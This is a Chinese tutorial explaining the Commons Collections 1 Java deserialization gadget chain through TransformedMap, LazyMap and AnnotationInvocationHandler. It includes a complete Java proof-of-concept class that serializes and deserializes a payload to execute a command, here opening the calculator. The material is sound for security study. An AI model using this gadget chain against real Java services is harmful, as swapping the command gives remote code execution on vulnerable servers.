commons |
您所在的位置:网站首页 › Commons IO 1x 写文件利用链 › commons |
commons-collections1
commons-collections1也就是常说的cc1,网上一般有两条链子,一个就是ysoserial中的lazymap链,还有transformedmap链,刚开始碰到cc1链子感觉有点麻烦,但只要迈出第一步后面就会挺流畅的,首先在细跟之前一定要有一个大的框架,哪一步完了再跟进到哪一步,像cc1这里主要就是Transformer接口里三个主要的实现类来实现命令执行,然后通过两个不同方法调用执行,即可! 环境配置java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动) CommonsCollections 把⼀个对象转换为常量,并返回 ->获取到了Runtime.classInvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数ChainedTransforme -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来 前半部分都相同,后面是两种思路 TransformedMap 配合sun.reflect.annotation.AnnotationInvocationHandler 中的 readObject()lazyMap配合sun.reflect.annotation.AnnotationInvocationHandler 中的Invoke()+动态代理 InvokerTransformer可以看到该方法中采用了反射的方法进行函数调用,Input 参数为要进行反射的对象 iMethodName , iParamTypes 为调用的方法名称以及该方法的参数类型,iArgs 为对应方法的参数,这三个参数均为可控参数: ConstantTransformer
可以看出需要传入一个 Transformer 数组,而这里使用了 for 循环来调用 Transformer 数组的 transform() 方法,并且使用了 object 作为后一个调用transform() 方法的参数,举个例子 new ConstantTransformer(Runtime.getRuntime()) new InvokerTransformer("exec", new Class[]{String.class},new Object[{"calc"})这样传参我们就可以执行系统命令了 其实这三步走完,到这里只要构造包含命令的 ChainedTransformer 对象,然后触发 ChainedTransformer 对象的 transform() 方法,即可实现目的,那么问题来了,如何传入的ChainedTransformer并且触发transform方法呢,接下来就是两种思路 TransformedMap链我们发现在TransformedMap的checkSetValue() 方法中会触发 transform() 方法,
那就先找调用checkSetValue方法的地方,这里发现它的父类AbstractInputCheckedMapDecorator AbstractInputCheckedMapDecorator这里的this.parent传入的就是TransformedMap,AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。 AnnotationInvocationHandler这里就引用到了AnnotationInvocationHandler,这个类中有一个成员变量 memberValues 是 Map 类型,它的readObject()函数中对memberValues调用了setValue()函数。 这里的攻击链也就是 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue() import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class cc1 { public static Object Reverse_Payload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload(),"obj"); payloadTest("obj"); } public static void GeneratePayload(Object instance, String file) throws Exception { //将构造好的payload序列化后写入文件中 File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //读取写入的payload,并进行反序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } } lazymap链在lazymap中有一个get方法通过put调用了factory成员的transform方法 接下来同样只需要找到一个readObject方法去调用了该get方法即可,这里AnnotationInvocationHandler的一个invoke中有执行get方法 我们的memberValues成员为lazymap对象(memberValues的赋值在构造函数中,且我们可控),当我们执行到下面这里的时候,就会触发代理机制,然后进入Invoke方法,从而触发命令执行 参考CC链学习-上 参考深入理解 JAVA 反序列化漏洞 参考Java安全(七) CC链1 Java反序列化CommonsCollections篇(一) CC1链手写EXP |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |